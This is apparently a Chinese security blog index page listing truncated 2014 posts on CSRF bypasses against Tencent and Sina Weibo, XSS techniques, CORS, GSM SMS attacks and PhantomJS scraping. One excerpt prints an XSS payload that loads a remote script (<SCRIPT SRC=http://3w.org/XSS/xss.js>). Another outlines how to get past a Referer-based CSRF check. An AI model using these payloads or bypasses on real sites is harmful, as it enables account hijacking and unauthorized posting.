绕过csrf防护让qq用户发微薄的
12年前 (2014-03-10) 2144浏览 0评论
今天扯淡一种另类的csrf：通过低敏感度，所以没有csrf防护的页面，来操作高敏感度的页面，比如微薄加粉，发微薄云云。 /* 无耻的小注释 这个问题已经在腾讯漏洞报告平台报告，觉得比较好玩，故扯出来发到zone里，让大家乐乐。 腾讯这样的忽略点应该不...
admin的文章
绕过新浪referer限制的小技巧
12年前 (2014-03-10) 3066浏览 0评论
1、出问题的地方 http://weiba.weibo.com 2、微吧回复主题的时候， 进行了CSRF校验， 但是，其逻辑是如果header里没有referer，也算校验通过，估计是为了兼容关闭了referer的浏览器而这样 3、但是，只要构造出不...
检测本机是否登录了指定QQ账号
12年前 (2014-03-10) 1867浏览 0评论
有时候做程序，喜欢把程序的注册与用户QQ号码绑定，程序仅允许登录成功了指定QQ账号时才可使用， 为了实现这个目的，有人用API取QQ窗口、QQ托盘图标上的QQ账号， 但是这个方法写起来比较麻烦，如果用户有意玩玩的话，也可以自己在你软件获取之前先用AP...
检测本机是否登录了指定QQ账号
12年前 (2014-03-10) 1590浏览 0评论
在网上逛发现商城上，有提供QQ在线服务。点击在线QQ就可以生成临时会话，引起了我的兴趣，于是就研究了一下，写了个测试页面test.html。（神气了一把，不过网上早就有很多了！） test.html代码如下： <html> ...
检测本机是否登录了指定QQ账号
12年前 (2014-03-10) 1933浏览 0评论
在网上逛发现商城上，有提供QQ在线服务。点击在线QQ就可以生成临时会话，引起了我的兴趣，于是就研究了一下，写了个测试页面test.html。（神气了一把，不过网上早就有很多了！） test.html代码如下： <html> ...
腾讯的网站如何检测到你的 QQ 已经登录
12年前 (2014-03-10) 1665浏览 0评论
在 QQ 已经登录的情况下，手动输入网址打开 QQ 邮箱 或者 QQ 空间 等腾讯网站，可以看到网页已经检测到本地 QQ 客户端已经登录，于是用户可以很方便地一键登录网站而不必再输入用户名密码。这实际上是典型的异构系统单点登录 SSO（single-...
python执行shell命令
12年前 (2014-03-10) 1568浏览 0评论
在此比较一下两种方法执行系统命令的方法,以方便于日后运用:( 1. os.system() system(command) -> exit_status Execute the command (a string) in a subshell....
资源下载
12年前 (2014-03-10) 2322浏览 0评论
1、黑客防线 电子版 下载地址：http://www.hacker.com.cn/list-7-1.html 2、抓包工具Wsockexpert 3、C段、旁注查询工具 K8_C段旁注查询工具V1.0.rar 介绍：http://jingli...
设置PhantomJS的User-Agent
12年前 (2014-03-10) 2720浏览 0评论
有些网站的WebServer对User-Agent有限制，可能会拒绝不熟悉的User-Agent的访问，所以，写Web自动化代码可能需要将 User-Agent稍微伪装一下，否则可能会被拒绝访问。这里简单记录一下Selenium中使用PhantomJ...
数据抓取的艺术：Selenium+Phantomjs数据抓取
12年前 (2014-03-10) 4951浏览 2评论
数据抓取的艺术（一）：Selenium+Phantomjs数据抓取环境配置 数据抓取是一门艺术，和其他 软件不同，世界上不存在完美的、一致的、通用的抓取工具。为了不同的目的，需要定制不同的代码。不过，我们不必Start from Scratch，已经...
Headless Selenium Testing with Python and PhantomJS
12年前 (2014-03-10) 2746浏览 0评论
PhantomJS is a headless Webkit, which has a number of uses. In this example, we will be using it, in conjunction with Seleniu...
PhantomJS在Windows7下实现网站自动下载截图
12年前 (2014-03-10) 2046浏览 0评论
1. phantomjs介绍 基于Javascript驱动的命令行webkit引擎，轻量级，安装简单，开发快速，渲染速度较快，无界面的webkit浏览器。 phontomjs跟一般浏览器一样可以加载网页，但不同的是它不会把网页显示出来，在加载网页后...
77种XSS跨站脚本攻击总结
12年前 (2014-03-10) 2433浏览 0评论
1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 &...
腾讯VS阿里巴巴：三维对三维的战争
12年前 (2014-03-10) 1568浏览 0评论
摘要 : 当一个行业巨头体量超1000亿美金时，单一领域不能满足其进一步发展，必然促使巨头向多领域发展。在中国阿里和腾讯被公然为是两个千亿美元市值公司。 腾讯控股今日发布公告宣布， 与京东建立战略合作伙伴关系，在此交易中，京东将收购腾讯B2C平...
CSRF简单介绍及利用方法
12年前 (2014-03-10) 2231浏览 0评论
0x00 简要介绍 CSRF（Cross-site request forgery）跨站请求伪造，由于目标站无token/referer限制，导致攻击者可以用户的身份完成操作达到各种目的。根据HTTP请求方式，CSRF利用方式可分为两种。 &nb...
GSM Hacker详解(SMS)
12年前 (2014-03-09) 1905浏览 0评论
最近GSM的话题又被炒了起来，顺便带火了我去年的一篇文章，都是几年前的东西了，重提也没什么意思。因为一直觉得这个话题很敏感，所以也不喜欢说啥，但是最近有人已经在乌云发了，但是有些地方语焉不详。反正都已经公开了，那么我就说细点了。更讨厌的是某些组织长期...
揭密HTML5带来的攻击手法
12年前 (2014-03-09) 4322浏览 0评论
HTML5 是下一代的 HTML，HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的，微数据与微格式等方面的支持，构建对程序、对用户都更有价值的数据驱动的Web。基于HTML5开发的网页APP拥有更短的启动时间，更快的联网速度。...
CSRF 攻击的应对之道
12年前 (2014-03-09) 2285浏览 0评论
CSRF 背景与介绍 CSRF（Cross Site Request Forgery, 跨站域请求伪造）是一种网络的攻击方式，它在 2007 年曾被列为互联网 20 大安全隐患之一。其他安全隐患，比如 SQL 脚本注入，跨站域脚本攻击等...
利用csrf漏洞上传文件
12年前 (2014-03-09) 2635浏览 0评论
大家都知道通常用csrf来上传一个文件不是很简单的.问题在于我们创建的假的表单提交的数据跟浏览器文件上传提交的数据有一点不同.那就是上传的请求会有一个filename的参数: -----------------------------25667262...
跨域资源共享(CORS)安全性浅析
12年前 (2014-03-09) 2359浏览 0评论
0×00 背景 提起浏览器的同源策略，大家都很熟悉。不同域的客户端脚本不能读写对方的资源。但是实践中有一些场景需要跨域的读写，所以出现了一些hack的方式来跨域。比如在同域内做一个代理，JSON-P等。但这些方式都存在缺陷，无法完美的实现跨域读写。所...